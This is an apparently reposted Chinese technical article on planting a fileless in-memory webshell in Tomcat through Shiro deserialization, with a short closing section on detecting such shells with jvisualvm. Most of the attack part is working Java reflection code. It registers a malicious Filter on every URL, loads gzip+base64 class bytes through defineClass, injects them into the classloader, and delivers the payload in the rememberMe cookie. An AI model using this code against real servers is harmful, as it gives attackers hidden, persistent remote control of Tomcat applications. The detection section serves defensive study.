tomcat結合shiro無文件webshell的技術研究以及檢測方法


0x01簡介

shiro結合tomcat回顯,使用公開的方法,回顯大多都會報錯。因為生成的payload過大,而tomcat在默認情況下,接收的最大http頭部大小為8192。如果超過這個大小,則tomcat會返回400錯誤。而某些版本tomcat可以通過payload修改maxHttpHeaderSize,而某些又不可以。所以我們要想辦法解決這個很麻煩,並順便實現tomcat的內存馬,用來持久化shell。

我的測試環境如下:

  • tomcat 7.0.104
  • idea
  • shiro

環境安裝配置就不在這里詳細描述,該分享主要圍繞着以下主題分享:

  1. Filter介紹
  2. 類加載器的相關知識點
  3. tomcat的內存馬該如何查殺

0x02 Filter

1. Filter的基本工作原理

  1. Filter 程序是一個實現了特殊接口的 Java 類,與 Servlet 類似,也是由 Servlet 容器進行調用和執行的。

  2. 當在 web.xml 注冊了一個 Filter 來對某個 Servlet 程序進行攔截處理時,它可以決定是否將請求繼續傳遞給 Servlet 程序,以及對請求和響應消息是否進行修改。

  3. 當 Servlet 容器開始調用某個 Servlet 程序時,如果發現已經注冊了一個 Filter 程序來對該 Servlet 進行攔截,那么容器不再直接調用 Servlet 的 service 方法,而是調用 Filter 的 doFilter 方法,再由 doFilter 方法決定是否去激活 service 方法。

  4. 但在 Filter.doFilter 方法中不能直接調用 Servlet 的 service 方法,而是調用 FilterChain.doFilter 方法來激活目標 Servlet 的 service 方法,FilterChain 對象時通過 Filter.doFilter 方法的參數傳遞進來的。

  5. 只要在 Filter.doFilter 方法中調用 FilterChain.doFilter 方法的語句前后增加某些程序代碼,這樣就可以在 Servlet 進行響應前后實現某些特殊功能。

  6. 如果在 Filter.doFilter 方法中沒有調用 FilterChain.doFilter 方法,則目標 Servlet 的 service 方法不會被執行,這樣通過 Filter 就可以阻止某些非法的訪問請求。

2. Filter 鏈

  1. 在一個 Web 應用程序中可以注冊多個 Filter 程序,每個 Filter 程序都可以對一個或一組 Servlet 程序進行攔截。如果有多個 Filter 程序都可以對某個 Servlet 程序的訪問過程進行攔截,當針對該 Servlet 的訪問請求到達時,Web 容器將把這多個 Filter 程序組合成一個 Filter 鏈(也叫過濾器鏈)。
  2. Filter 鏈中的各個 Filter 的攔截順序與它們在 web.xml 文件中的映射順序一致,上一個 Filter.doFilter 方法中調用 FilterChain.doFilter 方法將激活下一個 Filter的doFilter 方法,最后一個 Filter.doFilter 方法中調用的 FilterChain.doFilter 方法將激活目標 Servlet的service 方法。
  3. 只要 Filter 鏈中任意一個 Filter 沒有調用 FilterChain.doFilter 方法,則目標 Servlet 的 service 方法都不會被執行。

3. Tomcat中請求Filter的流程

用戶在請求tomcat的資源的時候,會調用ApplicationFilterFactory的createFilterChain方法,根據web.xml的Filter配置,去生成Filter鏈。主要代碼如下

            filterChain.setServlet(servlet);
            filterChain.setSupport(((StandardWrapper)wrapper).getInstanceSupport());
            StandardContext context = (StandardContext)wrapper.getParent();
            FilterMap[] filterMaps = context.findFilterMaps();
            if (filterMaps != null && filterMaps.length != 0) {
                String servletName = wrapper.getName();
                FilterMap[] arr$ = filterMaps;
                int len$ = filterMaps.length;

                int i$;
                FilterMap filterMap;
                ApplicationFilterConfig filterConfig;
                boolean isCometFilter;
                for(i$ = 0; i$ < len$; ++i$) {
                    filterMap = arr$[i$];
                    if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
                        filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
                        if (filterConfig != null) {
                            isCometFilter = false;
                            if (comet) {
                                try {
                                    isCometFilter = filterConfig.getFilter() instanceof CometFilter;
                                } catch (Exception var21) {
                                    Throwable t = ExceptionUtils.unwrapInvocationTargetException(var21);
                                    ExceptionUtils.handleThrowable(t);
                                }

                                if (isCometFilter) {
                                    filterChain.addFilter(filterConfig);
                                }
                            } else {
                                filterChain.addFilter(filterConfig);
                            }
                        }
                    }
                }

首先獲取當前context,並從context中獲取FilterMap。FIlterMap的數據結構如下

我們可以看到,FilterMap存放了Filter的名稱和需要攔截的url的正則表達式。

繼續往下分析代碼,遍歷FilterMap中每一項,調用matchFiltersURL這個函數,去確定請求的url和Filter中需要攔截的正則表達式是否匹配。

如果匹配的話,則通過context.findFilterConfig方法去查找filter對應的名稱。filterConfig的數據結構如下

隨后將filterConfig添加到Filter.chain中。

下面我們看一下ApplicationFilterChain.internalDoFilter方法,簡化后的代碼如下

            ApplicationFilterConfig filterConfig = this.filters[this.pos++];
            Filter filter = null;
            filter = filterConfig.getFilter();
            this.support.fireInstanceEvent("beforeFilter", filter, request, response);
            filter.doFilter(request, response, this);
            this.support.fireInstanceEvent("afterFilter", filter, request, response);

在這里我們可以很清楚的看到,從剛才的FilterChain中,遍歷每一項FilterConfig,然后獲取FIlterConfig對應的filter,最后調用我們熟悉的filter.doFilter方法。

可以用如下流程圖來方便我們理解這個過程

可以看出,如果需要動態注冊一個Filter,結合上面的分析,我們可以發現,只要修改context相關字段,即可完成動態注冊一個Filter。好消息是,context已經幫我們實現了相關方法,我們就沒有必要去通過反射等手段去修改。

4. tomcat實現

4.1 獲取context

可以通過MBean的方式去獲取當前context,我們查看一下tomcat的MBean

idea中查看一下

相關代碼如下

Registry.getRegistry((Object) null, (Object) null).getMBeanServer().mbsInterceptor.repository.domainTb.get("Catalina").get("context=/samples_web_war,host=localhost,name=NonLoginAuthenticator,type=Valve").object.resource.context

當然,還有很多種辦法,這里只是一個例子

4.2 添加filterdef到context

首先我們實例化一個FilterDef,FilterDef的作用主要為描述filter名稱與Filter實例的關系。注意,在后面調用context.FilterMap的時候會校驗FilterDef,所以我們需要先設置FilterDef

            Object filterDef = Class.forName("FilterDef").newInstance();
            // 設置過濾器名稱
            Method filterDefsetFilterName = Class.forName("FilterDef").getMethod("setFilterName", String.class);
            filterDefsetFilterName.invoke(filterDef, "test");

            // 實例化Filter,也就是第一階段我們加載的那個filter,通過Class.forname查找
            Method filterDefsetFilter = Class.forName("FilterDef").getMethod("setFilter", Filter.class);

            //通過class.forname查找我們待加載的Filter,后面調用newInstance實例化
            Class evilFilterClass = Class.forName("testFilter1");
            filterDefsetFilter.invoke(filterDef, evilFilterClass.newInstance());

4.3 添加filtermap到context

FilterMap的作用建立filter的url攔截與FilterDef的關系。在這里我們需要設置加載的filter都攔截什么url。代碼如下

            Object filterMap = Class.forName("FilterMap").newInstance();
            Method filterMapaddURLPattern = Class.forName("FilterMap").getMethod("addURLPattern", String.class);
            filterMapaddURLPattern.invoke(filterMap, "/*");

            // 設置filter的名字為test
            Method filterMapsetFilterName = Class.forName("FilterMap").getMethod("setFilterName", String.class);
            filterMapsetFilterName.invoke(filterMap, "test");

4.4 添加ApplicationFilterConfig至context

這里很簡單,最后我們需要添加ApplicationFIlterConfig就可以了,代碼如下

           Field contextfilterConfigs = context.getClass().getDeclaredField("filterConfigs");
            HashMap filterConfigs = (HashMap) contextfilterConfigs.get(context);
            Constructor<?>[] filterConfigCon =
                    Class.forName("ApplicationFilterConfig").getDeclaredConstructors();
            filterConfigs.put("test", filterConfigCon[0].newInstance(context, filterDef));

0x02 類加載器的相關知識點

在上一步種,我們是無法成功的,因為payload過大,超過tomcat的限制。會導致tomcat報400 bad request錯誤。我們仔細分析可知,因為payload種需要加載Filter的class bytes。這一部分最小最小還需要3000多。所以我們需要將Filter的class byte,想辦法加載至系統中。可以縮小我們動態加載Filter的payload大小。

1.1 class.forname

在這里我們先學習以下class.forname這個方法,查看openjdk的相關源碼
https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/classes/java/lang/Class.java#l374

class.forname會獲取調用方的classloader,然后調用forName0,從調用方的classloader中查找類。當然,這是一個native方法,精簡后源碼如下
https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/native/libjava/Class.c#l104

 Java_java_lang_Class_forName0(JNIEnv *env, jclass this, jstring classname,
                              jboolean initialize, jobject loader, jclass caller)
{
    char *clname;
    jclass cls = 0;
    clname = classname;

    cls = JVM_FindClassFromCaller(env, clname, initialize, loader, caller);
    return cls;
}

JVM_FindClassFromClassler的代碼在如下位置
https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/hotspot/share/prims/jvm.cpp

JVM_ENTRY(jclass, JVM_FindClassFromCaller(JNIEnv* env, const char* name,
                                          jboolean init, jobject loader,
                                          jclass caller))
  JVMWrapper("JVM_FindClassFromCaller throws ClassNotFoundException");

  TempNewSymbol h_name =
       SystemDictionary::class_name_symbol(name, vmSymbols::java_lang_ClassNotFoundException(),
                                           CHECK_NULL);

  oop loader_oop = JNIHandles::resolve(loader);
  oop from_class = JNIHandles::resolve(caller);
  oop protection_domain = NULL;
  if (from_class != NULL && loader_oop != NULL) {
    protection_domain = java_lang_Class::as_Klass(from_class)->protection_domain();
  }

  Handle h_loader(THREAD, loader_oop);
  Handle h_prot(THREAD, protection_domain);
  jclass result = find_class_from_class_loader(env, h_name, init, h_loader,
                                               h_prot, false, THREAD);

  return result;
JVM_END

主要是獲取protectDomain等相關信息。然后調用find_class_from_class_loader,代碼如下


jclass find_class_from_class_loader(JNIEnv* env, Symbol* name, jboolean init,
                                    Handle loader, Handle protection_domain,
                                    jboolean throwError, TRAPS) {

  Klass* klass = SystemDictionary::resolve_or_fail(name, loader, protection_domain, throwError != 0, CHECK_NULL);

  // Check if we should initialize the class
  if (init && klass->is_instance_klass()) {
    klass->initialize(CHECK_NULL);
  }
  return (jclass) JNIHandles::make_local(env, klass->java_mirror());
}

SystemDictionary::resolve_or_fail會判斷查找的類是不是屬於數組,對於咱們來講,肯定不是數組,所以,我們主要來分析systemDictionary::resolve_instance_class_or_null
代碼如下

  class_loader = Handle(THREAD, java_lang_ClassLoader::non_reflection_class_loader(class_loader()));
  ClassLoaderData* loader_data = register_loader(class_loader);
  Dictionary* dictionary = loader_data->dictionary();
  unsigned int d_hash = dictionary->compute_hash(name);
  {
    InstanceKlass* probe = dictionary->find(d_hash, name, protection_domain);
    if (probe != NULL) return probe;
  }

最終通過dictionary->find方法去查找類,看代碼,其實也就是查找classloader的classes字段。
idea中查看這個字段。可以看出這里存儲了很多類的Class,我們只需要將defineClass的結果,添加到classloader的classes字段中即可。

1.2 實現

將class bytes使用gzip+base64壓縮編碼,代碼如下

payload中,我們尋找當前classloader,調用defineclass,將類字節碼轉換成一個類,代碼如下
這一步會用到大量的反射

BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
String codeClass = "base64+gzip編碼后的類";
ClassLoader currentClassloader = Thread.currentThread().getContextClassLoader();
Method defineClass = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
Class evilClass = (Class) defineClass.invoke(currentClassloader, uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);

加載完成后,將evilClass加載到classloader的classes字段中,這步通過反射完成

       Field currentCladdloaderClasses = Thread.currentThread().getContextClassLoader().getClass().getDeclaredField("classes");
       Vector classes = (Vector) currentCladdloaderClasses.get(currentClassloader);
       classes.add(0, evilClass);

0x03 成果檢驗

首先我們將自己寫的Filter,加載到classloaderFilter的代碼如下

運行我們的工具,生成payload

通過burp發送出去

下一步動態注冊一個Filter,

我們可以看出,這兩步生成的payload大小都沒有超過tomcat的maxHttpHeaderSize。將生成的remember復制到cookies即可執行,結果如下

0x04 Filter類型的內存馬查殺

  1. 打開jvisualvm,因為我們是訪問本地java進程,所以tomcat不需要配置jmx訪問
  2. jvisualvm安裝MBean插件


3. 點擊我們的tomcat,查看Catalina/Filter節點中的數據,檢查是否存在我們不認識的,或者沒有在web.xml中配置的filter,或者filterClass為空的Filter,如圖

0x05 參考

  1. https://www.runoob.com/w3cnote/filter-filterchain-filterconfig-intro.html
  2. https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/hotspot/share/prims/jvm.cpp
  3. https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/classes/java/lang/Class.java


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM